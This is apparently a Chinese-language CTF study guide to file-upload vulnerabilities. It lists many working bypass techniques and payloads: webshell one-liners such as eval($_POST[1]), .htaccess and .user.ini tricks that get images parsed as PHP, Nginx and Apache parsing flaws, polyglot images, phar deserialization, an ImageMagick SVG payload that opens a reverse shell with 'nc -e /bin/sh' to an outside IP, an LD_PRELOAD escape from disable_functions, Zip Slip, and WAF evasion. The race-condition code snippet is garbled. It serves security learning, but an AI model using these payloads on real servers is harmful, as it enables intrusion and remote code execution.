文件上传漏洞
第一部分:基础与经典绕过 (The Classics)
这部分是基础,但在某些签到题或复杂攻击链的第一步中仍然有效。
1. 前端验证绕过
- 原理:JavaScript 在浏览器端检查文件后缀。
- 利用:
- 禁用浏览器 JS。
- 先上传合法后缀(如
.jpg),抓包(Burp Suite),将文件名修改为.php后发送。
2. MIME-Type 验证绕过
- 原理:后端仅检查 HTTP 请求包中的
Content-Type字段。 - 利用:抓包将
Content-Type: application/octet-stream修改为白名单类型,如image/jpeg、image/png、image/gif。
3. 后缀名黑名单绕过
- 原理:代码使用黑名单(如禁止
.php),但未覆盖所有可解析后缀或存在解析差异。 - Trick 列表:
- 特殊后缀:
.php3,.php5,.phtml,.phps(需 Apache配置支持AddType application/x-httpd-php .php5)。 - 大小写绕过:
.PhP(Windows 不区分大小写,Linux 需代码未做strtolower)。 - 点与空格(Windows 特性):
.php.(Windows 保存文件时会自动去除末尾的点)。.php(Windows 保存文件时会自动去除末尾的空格)。.php. .(点+空格+点 组合拳)。
- NTFS流特性(Windows 特性):
.php::$DATA:Windows 会忽略::$DATA,直接保存为.php。
- 特殊后缀:
4. 后缀名白名单绕过
- 原理:代码只允许特定后缀(如 jpg, png),通常比较安全,需结合解析漏洞或文件包含。
- Trick 列表:
- 00截断 (%00):
- 条件:PHP < 5.3.4 且
magic_quotes_gpc=Off。 - 原理:底层 C 语言将
\0视为字符串结束。 - 利用:文件名改为
shell.php%00.jpg(URL编码)或在 Hex 视图中手动改为00。
- 条件:PHP < 5.3.4 且
- 双后缀/多后缀:
shell.jpg.php(取决于解析逻辑是从左往右还是从右往左,见下文 Apache 解析漏洞)。
- 00截断 (%00):
第二部分:服务器配置与解析漏洞 (Core Mechanics)
这是 CTF 中分的重点,往往利用服务器中间件的特性。
1. Apache .htaccess 攻击
原理:Apache 允许目录下的
.htaccess文件覆盖全局配置。如果题目允许上传名为.htaccess的文件,我们可以自定义解析规则。Trick 1: 将所有文件解析为 PHP
1
SetHandler application/x-httpd-php
上传该文件后,再上传一个包含 Shell 的
shell.jpg,Apache 会将其作为 PHP 执行。Trick 2: 指定扩展名解析
1
AddType application/x-httpd-php .jpg
Trick 3: 结合伪协议 (新颖)
如果内容有检测(如<?被过滤),可利用 base64 编码包含:1
2AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"此时
shell.jpg内容可以是 base64 编码后的 webshell。
2. .user.ini 攻击 (近年 CTF 高频)
原理:在 CGI/FastCGI 模式(如 Nginx + PHP-FPM)下,
.htaccess不生效,但 PHP 会读取.user.ini。条件:
- Server API 为 FastCGI 模式。
- 上传目录下必须 已存在一个正常的 PHP 文件 (如
index.php),因为.user.ini是作为配置被那个 PHP 文件加载的,它自己无法独立执行。
Trick: 利用
auto_prepend_file或auto_append_file。上传
.user.ini内容:1
auto_prepend_file=shell.jpg
上传
shell.jpg(即 Webshell)。访问该目录下的正常文件(如
/upload/index.php),shell.jpg的内容会被自动包含并执行。
3. Nginx 解析漏洞 (配置错误)
- 原理:配置
location ~ \.php$时逻辑不严谨(cgi.fix_pathinfo=1)。 - 利用:上传
shell.jpg,访问http://site.com/shell.jpg/a.php。Nginx 看到后缀是.php交给 PHP 处理,PHP 找不到a.php,会向前递归解析shell.jpg。
4. Apache 解析漏洞 (旧版本/特定配置)
- 原理:Apache 某些版本识别后缀是从右往左,遇到不认识的后缀就跳过。
- 利用:上传
shell.php.xxx.yyy。Apache 不认识yyy和xxx,最后解析为.php。
第三部分:内容检测与 WAF 绕过 (Advanced Bypass)
当后缀和 MIME 都无法利用时,就要在文件内容上下功夫。
1. 标签与代码风格绕过
如果 <?php 被过滤:
- 短标签:
<?= eval($_POST[1]); ?>(不需要short_open_tag=On,PHP 5.4+ 默认支持)。 - Script 标签:
<script language="php">eval($_POST[1]);</script>(PHP 7.0 以前有效,老题常见)。 - ASP 风格:
<% eval($_POST[1]); %>(需开启asp_tags)。
2. 文件头 (Magic Bytes) 伪造
- 原理:后端检测文件头前几个字节判断类型(如
getimagesize())。 - 利用:
- GIF:文件内容开头加
GIF89a。 - BMP:文件开头加
BM。 - PNG/JPG:复制真实图片的 Hex 头部。
- GIF:文件内容开头加
- 图片马制作:
- Linux:
cat image.jpg shell.php > polyglot.jpg
- Linux:
3. 二次渲染 (Secondary Rendering) 绕过
- 原理:服务器接收图片后,使用 GD 库或 ImageMagick 对其进行 resize、crop 或重编码,原始的 Webshell 字符串会被打乱或删除。
- 利用:需寻找 渲染后未变动的区域。
- GIF: 比较简单,只需保留头部和特定块,通常利用工具或手工插入不被破坏的空隙。
- JPG/PNG: 极难。通常需要脚本暴力碰撞(Fuzzing)或使用特定工具(如
GD-PHP-Payload)生成一张经过 GD 库处理后 Shell 依然存在的图片。 - Trick: 只要能够上传成功,且能结合文件包含漏洞,通过包含该图片即可 RCE。
4. <? 起始符过滤绕过 (Base64/Encoding)
- 场景:内容检测禁止
<?。 - Trick: 结合伪协议或
.htaccess的解码功能(如前文所述)。如果不允许伪协议,可利用iconv转换。
第四部分:近年高阶 Trick 与新利用方式
这部分是区分高手的关键,涉及竞争、底层库特性及 PHP 新特性。
1. 竞争上传 (Race Condition)
场景:逻辑是“先保存文件 -> 检查内容/后缀 -> 如果非法则删除”。
原理:在“保存”和“删除”之间存在极短的时间差(几毫秒)。
利用:
使用多线程并发脚本(Burp Intruder 或 Python)。
不断上传
shell.php。不断访问
shell.php。一旦在删除前访问成功,让
shell.php生成一个不被删除的新马:1
"); ?>
2. 结合 phar:// 协议的反序列化
- 场景:限制了后缀名为白名单(如只准 jpg),但代码中有
file_exists、is_dir、filesize等文件操作函数,且参数可控。 - 利用:
- 生成一个 Phar 文件,将 Payload(反序列化利用链)写入 Phar 的 Metadata。
- 将 Phar 文件修改后缀为
.jpg上传。 - 通过
phar://path/to/shell.jpg/test触发反序列化,达成 RCE。
3. ImageMagick 漏洞 (CVE 历史遗留与变种)
原理:ImageMagick 在解析特定格式(如 MVG, SVG)时存在命令执行。
Trick: 上传这就不仅仅是 WebShell 了,而是直接 RCE。
POC (SVG 举例):
1
2
3<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<image href="msl:nc -e /bin/sh 1.2.3.4 4444" />
</svg>近年 CTF 中常考 GhostScript 相关的漏洞(解析 PDF/EPS 时)。
4. iconv 转码攻击 (WAF Bypass)
场景:WAF 严格过滤了
php,eval,system等关键字,但允许上传并存在文件包含,或者允许.user.ini指定编码。利用:利用字符编码转换生成 Payload。
例如,利用 UTF-7、UTF-16 或 UCS-2 等编码将 Webshell 编码,WAF 无法识别。
配合
.user.ini:1
auto_append_file="php://filter/read=convert.iconv.utf-16le.utf-8/resource=shell.jpg"
shell.jpg内部存储 UTF-16LE 编码的恶意代码,PHP 加载时转为 UTF-8 执行。
5. 利用 LD_PRELOAD 绕过 disable_functions
场景:Shell 已上传,但
system,exec等函数被禁用(disable_functions),且open_basedir限制较松。Trick:
上传一个编译好的
.so文件(劫持getuid或__attribute__((constructor)))。上传
.php文件,设置环境变量:1
2putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("", "", "", ""); // 触发系统调用PHP 的
mail()或imagick会调用系统二进制程序,从而加载恶意的.so执行命令。
6. ZIP/TAR 软链接攻击 (Symlink / Zip Slip)
- 场景:系统允许上传压缩包并自动解压。
- Trick:
- Zip Slip: 构造文件名包含
../../的压缩包,解压时覆盖上层目录的关键文件(如覆盖index.php或/root/.ssh/authorized_keys)。 - Symlink: 在 Linux 下创建一个软链接指向
/etc/passwd,压缩上传。解压后访问该文件,实际上读取的是/etc/passwd。
- Zip Slip: 构造文件名包含
7. PHP 7/8 Segment Fault (崩溃) 生成临时文件
- 场景:无法直接上传文件到 Web 目录,但存在本地文件包含 (LFI)。
- Trick:
- 向 PHP 发送超大文件或构造特定 Payload 让 PHP 进程崩溃(Segfault)。
- PHP 在处理上传时会生成
/tmp/phpXXXXXX临时文件。 - 正常情况下脚本执行完会删除临时文件,但如果进程崩溃,临时文件会残留。
- 结合 LFI 包含该临时文件(需要爆破文件名,或利用 Windows 下的
FindFirstFile特性)。
8. “Chunked” 传输绕过 WAF
- 原理:许多 WAF 无法解析 HTTP 协议的
Transfer-Encoding: chunked。 - 利用:在 Burp Suite 中将请求体分块发送,WAF 看到的可能是碎片的关键词,而后端 Web Server 会将其重组。
总结学习建议
在做 CTF 题时,建议按照以下流程思考:
- 探测环境:Server 是什么(Nginx/Apache/IIS)?OS 是什么(Win/Linux)?PHP 版本?
- 黑白名单测试:Fuzzing 后缀名,测试
php5,phtml,pHp等。 - 检查内容过滤:尝试上传包含
<?php的纯文本,看是否报错或被拦截。 - 寻找配置文件:能否上传
.htaccess或.user.ini? - 组合拳:
- 上传+文件包含。
- 上传+解析漏洞。
- 上传+竞争。
